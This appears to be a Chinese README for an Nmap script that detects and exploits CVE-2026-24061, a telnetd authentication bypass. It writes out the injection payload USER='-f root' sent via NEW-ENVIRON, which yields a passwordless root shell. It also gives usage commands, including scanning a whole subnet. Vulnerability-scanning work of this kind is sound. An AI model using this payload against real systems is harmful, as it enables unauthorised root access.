此 Nmap NSE 脚本用于检测 CVE-2026-24061,这是 GNU InetUtils telnetd 版本 1.9.3 至 2.7 中的一个认证绕过漏洞。
在 Telnet 选项协商期间,通过发送格式为 -f <username> 的特制 USER 环境变量,未认证的攻击者可以获得指定本地用户(包括 root)权限的 shell——无需提供任何密码。
预期用途: 仅限授权的渗透测试和漏洞评估。
在未获得明确书面许可的情况下,针对系统运行此脚本属于违法行为。
GNU InetUtils telnetd 使用 Telnet NEW-ENVIRON 选项(RFC 1572)在协商阶段从客户端接收环境变量。随后会使用这些变量调用 login(1) 程序。
该漏洞的产生是因为 telnetd 将 USER 变量直接传递给 login,而未进行任何清理。Linux 上的 login 程序接受 -f <user> 标志,其含义为 "已预认证,无需检查密码"。通过 NEW-ENVIRON 载荷注入 USER="-f root",攻击者可以完全绕过认证。
客户端 → 服务器: IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE
服务器响应: 生成 login -f root → root shell,无需密码
| 字段 | 值 |
|---|---|
| 文件名 | telnet-vuln-cve-2026-24061.nse |
该脚本执行完整的 Telnet 协商,精确复现真实 telnet -a 客户端会话的字节序列(根据 Wireshark 抓包重建):
DO TTYPE、DO TSPEED、DO ENVIRON 等)WILL TTYPE、WILL LINEMODE 等)SB TSPEED、SB ENVIRON、SB TTYPE)USER='-f <user>'WILL ECHO / DO BINARY / WONT LINEMODE 序列结果状态:
| 状态 | 含义 |
|---|---|
EXPLOIT | 收到 shell 提示符——确认绕过成功 |
LIKELY_VULN | ENV 载荷被接受,无密码提示,但未收到 shell 提示符 |
NOT_VULN | 看到密码提示,或协商未完成 |
# 复制到 Nmap 脚本目录
sudo cp telnet-vuln-cve-2026-24061.nse /usr/share/nmap/scripts/
# 更新脚本数据库
sudo nmap --script-updatedb
# 复制到 Nmap 脚本目录(如有需要请调整路径)
copy telnet-vuln-cve-2026-24061.nse "C:\Program Files (x86)\Nmap\scripts\"
# 更新脚本数据库(以管理员身份运行)
nmap --script-updatedb
nmap -p 23 --script telnet-vuln-cve-2026-24061 <目标>
# 短格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args user=kali <目标>
# 中格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 --script-args telnet-user=kali <目标>
# 完整限定格式
nmap -p 23 --script telnet-vuln-cve-2026-24061 \
--script-args telnet-vuln-cve-2026-24061.user=kali <目标>
nmap -p 23 --script telnet-vuln-cve-2026-24061 192.168.1.0/24
nmap -p 23 --script telnet-vuln-cve-2026-24061 -v <目标> # 详细模式
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d <目标> # 调试模式
nmap -p 23 --script telnet-vuln-cve-2026-24061 -d2 <目标> # 完整十六进制跟踪
PORT STATE SERVICE
23/tcp open telnet
| telnet-vuln-cve-2026-24061:
| VULNERABLE:
| GNU InetUtils telnetd 认证绕过
| State: VULNERABLE (可利用)
| IDs: CVE:CVE-2026-24061
| Risk factor: 严重 CVSSv3: 9.8
| Description:
| GNU InetUtils (1.9.3 - 2.7) 中的 telnetd 服务允许
| 通过特制的 USER 环境变量绕过认证。
| 发送 '-f <user>' 可导致未认证的登录 shell。
| Extra information:
| 认证已绕过:注入 USER='-f root' 后收到 shell 提示符
| ——未出现密码挑战。
| References:
| https://nvd.nist.gov/vuln/detail/CVE-2026-24061
| https://github.com/JayGLXR/CVE-2026-24061-POC
|_ https://github.com/SafeBreach-Labs/CVE-2026-24061
PORT STATE SERVICE
23/tcp open telnet
(无脚本输出——NOT_VULN 默认静默,符合标准 Nmap 惯例)
| 参数 | 别名 | 默认值 | 描述 |
|---|---|---|---|
telnet-vuln-cve-2026-24061.user | telnet-user, user | root | 通过 -f 注入的用户名 |
GNU InetUtils telnetd 使用 Linemode 协商(RFC 1184)来确定终端 I/O 模式。服务器在协商早期发送 DO LINEMODE,客户端最初响应 WILL LINEMODE。在 ENV 载荷交换之后,服务器发送 WILL ECHO,随后发送 DO BINARY。此时客户端必须响应 WONT LINEMODE 以表示逐字符模式——只有这样 telnetd 才能完成 PTY 设置(ioctl TIOCSWINSZ)并派生 login。缺少此步骤,服务器会记录 peer died: Inappropriate ioctl for device 并断开连接。
Nmap 的 NSE socket API 与标准 Lua socket 约定不同:
-- Nmap NSE(正确用法):
local status, data = sock:receive_bytes(1)
if status == true then -- data 是接收到的字符串
此脚本仅供授权的安全测试和研究目的使用。 作者不对因使用此工具造成的任何滥用或损害负责。 在测试非您拥有的系统之前,务必获得明确的书面许可。
| 字段 | 值 |
|---|
| CVE ID | CVE-2026-24061 |
| 受影响版本 | GNU InetUtils telnetd 1.9.3 – 2.7 |
| CVSSv3 评分 | 9.8 严重 |
| 攻击向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 类型 | 认证绕过 (CWE-287) |
| 披露日期 | 2026-01-01 |
| 类别 | vuln, exploit, intrusive |
| 端口 | TCP/23 (telnet) |
| 测试环境 | Nmap 7.94 / 7.98,Windows 与 Linux |